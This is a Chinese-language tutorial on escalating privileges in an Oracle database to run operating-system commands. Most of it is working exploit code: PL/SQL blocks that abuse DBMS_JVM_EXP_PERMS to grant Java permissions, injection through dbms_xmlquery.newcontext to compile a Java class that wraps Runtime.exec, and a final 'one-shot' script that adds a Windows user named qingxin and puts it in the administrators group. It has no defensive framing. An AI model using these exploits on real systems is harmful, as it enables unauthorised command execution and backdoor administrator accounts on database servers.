Oracle數據庫提權(dba權限執行系統命令)

 

0x01 提權准備

這里我們先創建一個低權限的用戶test

 

SQL> conn sys/admin123@orcl as sysdba;

 

已連接。

SQL> create user test identified by test;

 

 

 

然后查看一下權限

SQL> select * from session_privs;

PRIVILEGE

CREATE SESSION

 

如上顯示，test沒有JAVA權限，也只有CREATE SESSION權限

 

我們如果要通過數據庫執行系統命令，那么首先要提升數據庫用戶的權限。

 

 

 

我們首先要獲取java權限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL

 FILES>>', 'execute', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 

 

如果想要執行任意代碼的話還需要額外獲得java.lang.RuntimePermission權限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',

'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 

 

0x02 JAVA權限執行命令

 

用我們的test帳號登錄

 

 

1、首先我們創建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

 

 

 

2、然后我們獲取java權限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

 

 

3、創建我們用來執行命令的函數

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

 

4、執行命令

select LinxRUNCMD('whoami') from dual;

 

 

0x03 存儲過程執行命令

 

若我們有create procedure權限，而不只是create session這么苦逼時，我們可以創建一個java class然后用創建一個過程來進行調用

 

 

1、首先創建一個java class然后用procedure包裝它進行調用

create or replace and resolve java source named JAVACMD as

    import java.lang.*;

    import java.io.*;

    public class JAVACMD

    {

       public static void execmd(String command) throws IOException

       {

               Runtime.getRuntime().exec(command);

       }

   }

   /

 

 

 

 

2、創建調用的包

create or replace procedure MYJAVACMD(command in varchar) as language java

 

    name 'JAVACMD.execmd(java.lang.String)';

/

 

 

3、執行我們的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

 

 

會報錯是因為代碼中沒有捕獲異常，我們再執行一次即可

 

 

 

 

附上一把梭哈

 

 

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS

import java.lang.*;

import java.io.*;public class JAVACMD

{public static void execCommand (String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

};/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');

exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');